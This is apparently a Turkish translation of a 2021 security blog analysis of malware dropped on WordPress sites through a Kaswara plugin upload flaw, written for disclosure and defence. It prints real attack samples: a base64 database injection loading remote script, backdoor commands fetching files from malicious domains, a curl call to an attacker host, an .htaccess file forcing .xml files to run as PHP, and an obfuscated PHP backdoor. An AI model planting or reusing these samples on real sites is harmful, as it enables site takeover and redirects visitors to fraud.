Savunmasız Kaswara Modern WPBakery Sayfa Oluşturucu Eklentisi Eklentisi Vahşi Doğada Kullanılıyor

Yayınlanan: 2021-06-08

20 Nisan 2021'de WPScan'daki arkadaşlarımız Kaswara Modern WPBakery Sayfa Oluşturucu Eklentileri olarak da bilinen Kaswara Modern VC Eklentilerinde ciddi bir güvenlik açığı bildirdi. Artık Codecanyon/Envato'da mevcut değil, yani bu çalışıyorsa, bir alternatif seçmelisiniz.

Bu güvenlik açığı, kimliği doğrulanmamış kullanıcıların eklentinin simge dizinine (./wp-content/uploads/kaswara/icons) rastgele dosyalar yüklemesine olanak tanır. Bu, WPScan'daki arkadaşlarımızın raporlarında bizimle paylaştığı ilk Uzlaşma Göstergesi (IOC).

Bir web sitesine rastgele dosyalar yükleme yeteneği, kötü oyuncuya site üzerinde tam kontrol sağlar, bu da bu enfeksiyonun nihai yükünü tanımlamayı zorlaştırır; bu nedenle, şimdiye kadar bulduğumuz her şeyi size göstereceğiz (araştırmaya biraz kendimizi kaptırdık, bu yüzden okumak istemiyorsanız, IOC bölümüne atlamaktan çekinmeyin).

Veritabanı Enjeksiyonu, Sahte Android uygulamaları ve diğer arka kapılar

Bu saldırı ile kullanılan veritabanı enjeksiyon takibine dikkat çektiği için Sucuri'den arkadaşımız Denis Sinegubko'ya teşekkür ederiz.

Kötü oyuncular, rastgele bir kötü amaçlı Javascript kodu parçacığı eklemek için 'kaswara-customJS' seçeneğini günceller. İşte bulduğumuz bir örnek:

INSERT INTO `wp_options` (`option_id`, `option_name`, `option_value`, `autoload`) VALUES (1856,'kaswara-customJS',
'dmFyIHNjcmlwdCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoXCdzY3JpcHRcJyk7CnNjcmlwdC5vbmxvYWQgPSBm
dW5jdGlvbigpIHsKfTsKc2NyaXB0LnNyYyA9IFwiaHR0cHM6Ly9ldmFkYXYubGluay9zY3JpcHQuanNcIjsKZG9jdW1lbnQu
Z2V0RWxlbWVudHNCeVRhZ05hbWUoXCdoZWFkXCcpWzBdLmFwcGVuZENoaWxkKHNjcmlwdCk7','yes');

Bu base64 kodlu dize şu anlama gelir:

var script = document.createElement(\'script\');
script.onload = function() {
};
script.src = \"hxxps://evadav[.]link/script.js\";
document.getElementsByTagName(\'head\')[0].appendChild(script);

Ve genellikle bu tür bir komut dosyasında olduğu gibi, bir dizi başka Javascript kod parçacığını zincirleme yükleyecek ve son yük ya bir kötü amaçlı reklam ya da bir istismar kiti olacaktır. Bu, Wordfence'in burada bildirdiğine çok benzer.

Bu durumda, komut dosyası hxxp://double-clickd[.]com/ adresinde ölüyor ve herhangi bir kötü içerik yüklemiyor. 2020'nin başından beri bu siteyi çağıran şüpheli Javascript buldum ve insanlar zaten 2018'den beri siteyi engelliyor.

Siteye Yüklenen Sahte Uygulamalar

İncelediğimiz web sitelerinde bulunan 40 Android uygulaması, bu VirusTotal analizine göre en popüler Anti-Virüs satıcıları tarafından şans eseri tespit edilen AliPay, PayPal, Correos, DHL ve diğerleri gibi farklı uygulamaların sahte sürümleriydi.

Güvenliği ihlal edilmiş bir sitede bulunan APK dosyalarından birinde VirusTotal sonuçları

Uygulamanın amacını kontrol etmedim, ancak talep ettiği izinler hakkında hızlı bir inceleme, bize neler yapabileceğine dair bir fikir verebilir:

  • android.permission.WRITE_SMS
  • android.permission.RECEIVE_SMS
  • android.permission.FOREGROUND_SERVICE
  • android.permission.KILL_BACKGROUND_PROCESSES
  • android.permission.READ_CONTACTS
  • android.permission.READ_PHONE_STATE
  • android.permission.READ_SMS
  • android.permission.ACCESS_NETWORK_STATE
  • android.permission.QUERY_ALL_PACKAGES
  • android.permission.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS
  • android.permission.İNTERNET
  • android.permission.SEND_SMS
  • android.permission.CALL_PHONE
  • android.permission.WAKE_LOCK
  • android.permission.REQUEST_DELETE_PACKAGES

Ancak bu dosyalar Kaswara istismarı kullanılarak hemen yüklenmiyor. Sitenin güvenliği ihlal edildikten sonra, saldırganlar siteyi tam olarak kontrol etmek için önce diğer araçları yükleyecektir.

Yüklenmiş dosyalar

Bu güvenlik açığından etkilenen web sitelerinde bazı arka kapılar ve diğer kötü amaçlı yazılımlar da bulundu. Bu yazıda en popüler ve ilginç olanların hızlı bir analizini paylaşacağım. Ancak, önce en karmaşık olana odaklanmak istiyorum.

Yönlendirme ve Sahte uygulamalar

Güvenliği ihlal edilmiş birkaç sitede bulduğum sahte Uygulamalar, Kaswara güvenlik açığından yararlanılarak yüklenmedi. Bunlar, saldırganın bazı uzak kodlar yüklemesine (bir URL veya dize sağlayarak) ve kullanıcıyı kötü niyetli bir siteye yönlendirmesine olanak tanıyan çok işlevli bir hacktool kullanılarak siteye yükleniyor.

Dosya, bu dizenin varlığıyla kolayca tanımlanabilir: base64_decode('MTIz');error_reporting(0); işlev

İlginçtir ki, bunun dışındaki her şeyi rastgele seçer.

Kötü amaçlı yazılım tek bir satırdadır, bu da bu tür bir kod anomalisi arıyorsanız ilginç bir IOC'dir.

tam kodlamalı c.php kötü amaçlı yazılım

Anlamayı kolaylaştırmak için kodun çoğu bölümünün kodunu çözdüm, ilginç işlevleri yeniden adlandırdım ve kodu güzelleştirdim. Kötü amaçlı yazılım 6 farklı işlev içerir ve bunlardan 5'i $_GET['ts'] değişkenine iletilen değerlere dayanır. Bu belge için bulduğum birçok örnekten birini ele alalım: c.php .

/c.php?ts=kt

Bu hiçbir şey yapmaz ve siteyi 500 hatası döndürmeye zorlar (daha sonra kodda).

/c.php?ts=1

Bir kod doğrulaması gerçekleştirmek ve saldırgana bir OK mesajı göndermek için $q1a bayrak değerini true olarak değiştirir.

Bu durumda uzak site yanıt verir: {"body":"","headers":["Location: http:\/\/good-valid-1"],"status":302,"contentType":""}

/c.php?ts=sv&v=”Kod”&p=40bd001563085fc35165329ea1ff5c5ecbdbbeef

$_GET["p"] , 123'ün SHA1 sağlama toplamı olduğu sürece, $ $_GET["v"] içeriği tarafından sağlanan kodla sunucuya bir dosya yazar ( base64_decode('MTIz') ilk IOC'sini hatırlayın? bu sağlama toplamıdır).

/c.php?ts=tt

Sunucuya 5 MB "-" yazar, muhtemelen yükleme işlevinin sunucuda çalışıp çalışmayacağını test etmek için kullanılır.

/c.php?ts=dwm&h=HASH1,HASH2

Kötü amaçlı yazılım bu isteği aldığında, yüklenen dosyaların sunucuya başarıyla yazıp yazmadığını doğrulamak için bir test gerçekleştirir. MD5 karmaları bilinmelidir ve virgülle ayrılmış değerler olarak $_GET['h'] değişkenine gönderilir.

/c.php?ts=dw&h=hash&l=URLs_as_CSV

Bir dizi üçüncü taraf web sitesinden bir dosya indirir ve indirilen dosyanın md5'inin son 12 karakterinden sonra adlandırarak sunucuya kaydeder.

Bu, sunucuya sahte uygulamalar yüklemek için kullanılan işlevdir.

Kötü amaçlı dosyaları indirme isteğine bir örnek /c.php?ts=dw&h=7e7bcc10406f3787b0a08d4199e6a697&l=http%3A%2F%2Fsmurfetta.ru%2Fhash-de%2F%3Fh%3D7e7bcc10406f3787b0a08d4199e6a697

Erişimi yeniden yönlendirme

kt seçeneği veya hiçbir seçenek seçilmediyse, kod, gerekli verilerle bir JSON blobu istenerek elde edilen yeniden yönlendirmeye ilerler. Ardından, başlık işlevini kullanarak ziyaretçiyi yeniden yönlendirmeye devam eder.

Yanıt şöyle: {"body":"","headers":["Location: https:\/\/stunningawards.life\/?u=yuek60p&o=2k5p1e0&m=1"],"status":302,"contentType":""}

Gerekli parametrelerle bir cURL isteğini yürütme işlevi şudur: Süslü değil…

Ve bu cURL isteğine çevrilebilir:

curl -X POST hxxp://papass[.]ru/click_api/v3 \
    -H 'X-Forwarded-For: 200.171.221.1' \
    -H 'Accept-Language: *' \
    -H 'User-Agent: Mozilla/5.0 (Linux; Android 11; SAMSUNG SM-G975F) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/14.0 Chrome/87.0.4280.141 Mobile Safari/537.36' \
    -d 'token=hmfovdqs9vfxp8s4rwqzxbfz6c43bwgb&force_redirect_offer=1&sub_id_1=dbhomeworkout.com&sub_id_2=dbhomeworkout.com&sub_id_3=dbhomeworkout.com&sub_id_4'

Nihai URL, test edebildiğim kadarıyla rastgele, ancak popüler bir hizmet veya uygulama için sahte bir sayfa olma özelliğini paylaşıyor.

wp-content/uploads/kaswara/icons/16/javas.xml ve wp-content/uploads/kaswara/icons/16/.htaccess

Bir XML dosyası genellikle potansiyel bir tehdit olarak işaretlenmez, ancak bu durumda, web sunucusunun onu nasıl gördüğünü değiştiren özel olarak hazırlanmış bir .htaccess dosyamız var:

Order Deny,Allow
Allow from all

<FilesMatch "_?(javas|homes|menus)\.(php|xml|pdf)\d*$">
    AddHandler application/x-httpd-php .xml .pdf
    AddType application/x-httpd-php .xml .pdf
    # ---
    SetHandler application/x-httpd-php
    ForceType application/x-httpd-php
    # ---
    php_value engine 1
    # ---
    Order Deny,Allow
    Allow from all
</FilesMatch>

Aslında, Apache'ye xml, php veya pdf içeren herhangi bir javas, home veya menü dosyasını, buna göre işlenecek ve yürütülecek bir PHP dosyası olarak anlamasını söyler. Bu nedenle, bu .htaccess ile aynı dizin yapısında bulunan dosyalardan herhangi biri şüpheli olacaktır.

Javas.xml dosyası, siteye yüklenen diğer bazı kötü amaçlı dosyalarla aynıdır. Aradaki farkı buldum, bazılarının dosyanın sonunda bir veya iki boş satır olması, bu da geleneksel karma işlemini biraz daha zorlaştırıyor.

<?php
$LnWYZK 	  	="\163"."\164" 	 ."\162\137\162\157"	 	.	 	"\164"	. 		  (		 279	 	-  			266)	 	  ; 	 	 if( !empty		 	 (	$ { 	 $LnWYZK	   	
("\137"	.	"\103\102\106" 		 	.		 "\107")}	) 	 		)  			{  	 			 $nNZph 	 =$LnWYZK		 (	 		 "\172". 		"\161". 	(4334	 	
-4329	)		   	 	)			  ; $ouQLkV  	 	= $LnWYZK		 (	 	 	"\157\156"  	.  	"\146" .		 "\162"	.		  	 (	  9680	 	-	  9616)  	 . "\137" 		
. 		"\161"   		.   		"\162\160\142\161\162" 	 ) 		  ; 			  $VNfzSD  	 	=$LnWYZK("\160\145\162"."\156\147\162\137\163\150\141\160"	
. "\147\166\142\141" 			 ); 	  	foreach	($			  { 	 	 $LnWYZK(			  "\137".	 	"\103"  	.	  		"\102" . 			 "\106"	 	. 		"\107" 	 		
)  			}	  as	$IKRDzf   		=>	$NIvHUr	  )( 	  	$nNZph  			(	   	$IKRDzf  	)  	===	 	  		 "c"	  .  (2668 - 	  	2626	 		 )   			.   		
"\145\141"   		."\71"		   .  			"\67"	."\71\145\144"	 	.	  "\71\70\62"	.  	"\143\60" 	 . 	 	 	(314406	  -51163		 )	 	 	. "\60" 			 
.	"\145" 	 . 			 "\71" 	 .		   "\145" . "\71"	  		.	"\70"	  	 .			  "\141"	  		.	 	"\66" . 		"\66"	.	"\144"		  	.    		( 	  	9786	-		 	 
9780 		) 		  		 	&&  	$QZCMY	 		 =	 	  $VNfzSD( ""  			, 	 $ouQLkV (  	$NIvHUr)   		)  	) 		 		 	 	?$QZCMY 	 () : " 		"		  	
;  	}

Kötü amaçlı kod, str_rot13 ve base64 kodlu dizeler kullanılarak gizlenir. Ayrıca dizeleri biraz daha gizlemek için onaltılık değerler ve matematik işlemleri kullanır. Bir POST isteğinin değerlerine dayalı bir işlev yaratacağından, nihai yük bilinmiyor. Ancak, oluşturmadan önce bir md5 kontrolüne dayandığından, yük her seferinde aynı görünüyor (c42ea979ed982c02632430e9e98a66d6, md5 karma değeridir).

Çözüm

Bu aktif bir kampanya olduğundan, bu gönderiyi yazarken, etkilenen sitelere giderek daha fazla farklı kötü amaçlı yazılım örneklerinin düştüğünü görüyoruz. Bazıları burada sahip olduklarımızın varyasyonlarıdır, diğerleri ise daha derin bir analiz için yeterince ilginçtir. Bu diğer örneklerden bazılarını keşfetmek için yakında gelecek olan bazı küçük gönderilere bakın.

Bu, uzantılarınızın en son güvenlik düzeltmeleriyle güncellenmesinin önemini gösterir; geliştiriciler düzeltmeleri zamanında yayınlamazlarsa veya bunlar WordPress.org deposundan (veya diğer pazarlardan) kaldırılırsa, buna daha güvenli bir alternatif bulmanızı şiddetle tavsiye ederiz.

Siteniz için kötü amaçlı yazılım ve güvenlik açığından endişe ediyorsanız, Jetpack'in güvenlik özelliklerine bakın. Jetpack Security, yedeklemeler, kötü amaçlı yazılım taraması ve spam koruması dahil, kullanımı kolay, kapsamlı WordPress site güvenliği sağlar.

Uzlaşma Göstergeleri

Tanımladığımız tüm IOC'lerin tam listesini burada bulabilirsiniz:

Karma (SHA-1) Yol Tehdit açıklaması
754ee56344b190a7240732eabd43ef8f2e8bace9 ./2f31eab3b335 Sahte Android Uygulaması
8f88f0a169323442fe5c7de2a7d0febcfe6d29c7 ./28052809bdd7 Sahte Android Uygulaması
1acfd18acc6d4a8413ec417ce02c9cdcfd7f23cd ./ce52e434cded Sahte Android Uygulaması
b354b2193e13956747cf3cf1268caaa9ae9601a0 ./c016456e66cd Sahte Android Uygulaması
b2cd34e08ea7fad5bef8bb3606d25a2c1cf76466 ./5d64d12229cf Sahte Android Uygulaması
886ce65890fb467f8843ba4de782cb65966ef801 ./47e3bdf4ac71 Sahte Android Uygulaması
e2314e2de6e12aa6a600fbc538d75c37b7651b7b ./026ec4ebebfe Sahte Android Uygulaması
970a29c4322e70ac820f181ff64e9089b6ce69ca ./5610ec2e788c Sahte Android Uygulaması
ce7eba127d1d0373af8ab3738bd358d0ed1b7c62 ./9be9954a7c0a Sahte Android Uygulaması
423d83a87a3833440f6b810967795876b83b7a90 ./34b0ea9d688e Sahte Android Uygulaması
455000cc6fa2693d4ef9cdd1f0e551c720a660f0 ./7986aa5f641b Sahte Android Uygulaması
f1a3f3ffa13a98e75da208aa151910052a2893f6 ./648cabbe0afa Sahte Android Uygulaması
98c6df3fbeb19e4c9a91b82ea4df9ab2dbb901a6 ./20f9849711cc Sahte Android Uygulaması
1c6ba3c92895e3d01283cfde2bda2c7f3b6874b3 ./75002db259ea Sahte Android Uygulaması
8a2cb8808b11c7d24a5111501aed3e4494e4b292 ./0c7e4e6a39eb Sahte Android Uygulaması
f43e3c2cd746f245ac9f38272a81fe1bab1ce415 ./7237cd011f42 Sahte Android Uygulaması
f210df00ee1978fc3eda3bc5759d2f7627950c20 ./3186fb436dae Sahte Android Uygulaması
b9c2dc421010fb1f273ae40f176da4854830e6b8 ./04d2e95f9573 Sahte Android Uygulaması
8484f4bcba9a8ad5f2a451ee8a541929d80400cc ./34b67b93da5e Sahte Android Uygulaması
e5b5d3c7789ac0c5fcabf6d18328c9ddf1c891e6 ./502ba128d12c Sahte Android Uygulaması
eb41990973aa178d156a83050d34ad9831f66567 ./2501a5736f6e Sahte Android Uygulaması
814178f5442be9e748769d61342e33b66ae119f6 ./ddb83c37197f Sahte Android Uygulaması
edc53993d4f37286985374f6ebbe29815c42b61c ./2e0ed75c116b Sahte Android Uygulaması
6c014dca61b1cd3e6981a731808317d7e931fc94 ./5f6ec9795436 Sahte Android Uygulaması
295d49d596b5d062de7d52548ded91284b67ef6a ./7ed8c17a7cd7 Sahte Android Uygulaması
c83b20deb16bb1d47a6137b99b7230d707b2a1dc ./4b30e0221c16 Sahte Android Uygulaması
6c709124972f6506bd7562ebe4b2567e7dfb7b75 ./0faa25f73e3c Sahte Android Uygulaması
816a5ad37b5e1bf7e069969f10f0af41d4ba492f ./a64122f493dc Sahte Android Uygulaması
a04651dd95f74a074150bcfe7f6535b0542c8f63 ./3980315c7daa Sahte Android Uygulaması
9d9c89268e5158f93b3b0accb387314133d5e719 ./da15f8061ab2 Sahte Android Uygulaması
ce8dfe115d9546197d57c9cc9f93abb513aadf4a ./715b3f4ed70d Sahte Android Uygulaması
2b61271653b8bd82016ce743cabca8c48444f2c8 ./f8c2f1514938 Sahte Android Uygulaması
1d8f259a424c2f7b6441b7ab568623ef762a5325 ./ea40ee4cea57 Sahte Android Uygulaması
21f070e33da3a574526817eede699798e59971c1 ./73b6daad56b6 Sahte Android Uygulaması
de364006dc140251a90adf8ddfd23b00d4c494c5 ./a70ce1c2d003 Sahte Android Uygulaması
1c0bd522cb786e8697bb907f8771c66d991d672c ./4c63cfe07251 Sahte Android Uygulaması
a36c3667be58efa50441418b58b5487d873b5d63 ./067fd1c69444 Sahte Android Uygulaması
8c21c99670e9158f12ac88feba2e87aaa93b41f0 ./57fd16f4719d Sahte Android Uygulaması
31285841768b43a5973b268df2a761055f25b25f ./14834dab2dd7 Sahte Android Uygulaması
d3ee06b4c26f7c59b6248f50c8d272e002180d7a ./28b655b495a9 Sahte Android Uygulaması
8639df09b4ec97c084ed2be1a914b540eb8ab29e ./c.php Bırakılan kötü amaçlı yazılım
95217d8c55b9a83aea2e7d030388daba1e49e27e ./medovq.php Bırakılan kötü amaçlı yazılım
2831ea2f80e71f07c408133986cca2558106b9fc /wp-content/uploads/kaswara/icons/kntl/img.php PHP dosya yükleyici
0fd64ada7454cf1d2640e8f45ea42ca292b3a461 wp-content/uploads/kaswara/icons/kntl/cc.php Bırakılan kötü amaçlı yazılım
da39a3ee5e6b4b0d3255bfef95601890afd80709 wp-content/uploads/kaswara/icons/16/icons.php Uzaktan Kod Yürütme kötü amaçlı yazılımı
d51366d5062e7fd4d1422a59e75b585053643549 wp-content/uploads/kaswara/icons/brt/t.php Bırakılan kötü amaçlı yazılım
4dfbc3c89b170c85a2b2a14c17c12f3e31a7c9b0 ./wp-content/siteindex.php Bırakılan kötü amaçlı yazılım
7464d78fd5022a54203c2c63b80096ce96932422 ./wp-content/uploads/kaswara/fonts_icon/test2/index.php Bırakılan kötü amaçlı yazılım
6b763826e285aa96cc4a443edc9f7b8637fa4fd4 ./wp-content/uploads/kaswara/fonts_icon/test3/index.php Bırakılan kötü amaçlı yazılım
486ea7a58e28d9f112eb566711d0d8b594f6b238 ./wp-content/uploads/kaswara/fonts_icon/test3/log.zip Bırakılan kötü amaçlı yazılım
8b425ee35d253bc891ef9d44a64f20f0b105e4f4 ./wp-content/uploads/kaswara/fonts_icon/test2/log.zip Bırakılan kötü amaçlı yazılım
5dd9180835cfbc85e56f25a71977a6fc6a256b35 ./wp-content/themes/admindex.php Bırakılan kötü amaçlı yazılım
7f58c0dfc3dbc5994a757712cd7fb2553d5339dc ./wp-booking.php Bırakılan kötü amaçlı yazılım
4566e050c30ce0a6b7fd5c82e9a34a9624d9b2e6 ./icons/icons.php Uzaktan Kod Yürütme kötü amaçlı yazılımı
f7c7fc098575895d9e27b04108ee481b84285aaf ./icons/yrecyt.php Bırakılan kötü amaçlı yazılım
0f7ceaf44a9f4eca9ca024d84ec0c6a1bd600447 ./xeh02b.php veya ./wp-content/uploads/xeh02b.php Bırakılan kötü amaçlı yazılım
64e1b82b8e1fae20fa846b0003c877bc454c00b8 ./icons/pewegy.php Bırakılan kötü amaçlı yazılım
1926459cbe6f3fae524d5c1aa966a023b9def873 ./icons/icons.php Uzaktan Kod Yürütme kötü amaçlı yazılımı
7ed5b8559e1bd49bd0f4a8d0f909c429ed48b6c3 ./wp-craft/scr.php Bırakılan kötü amaçlı yazılım
wp-content/uploads/kaswara/icons/16/javas.xml Uzaktan Kod Yürütme kötü amaçlı yazılımı
- smurfetta.ru Kötü amaçlı etki alanı
http://papass.ru Kötü amaçlı etki alanı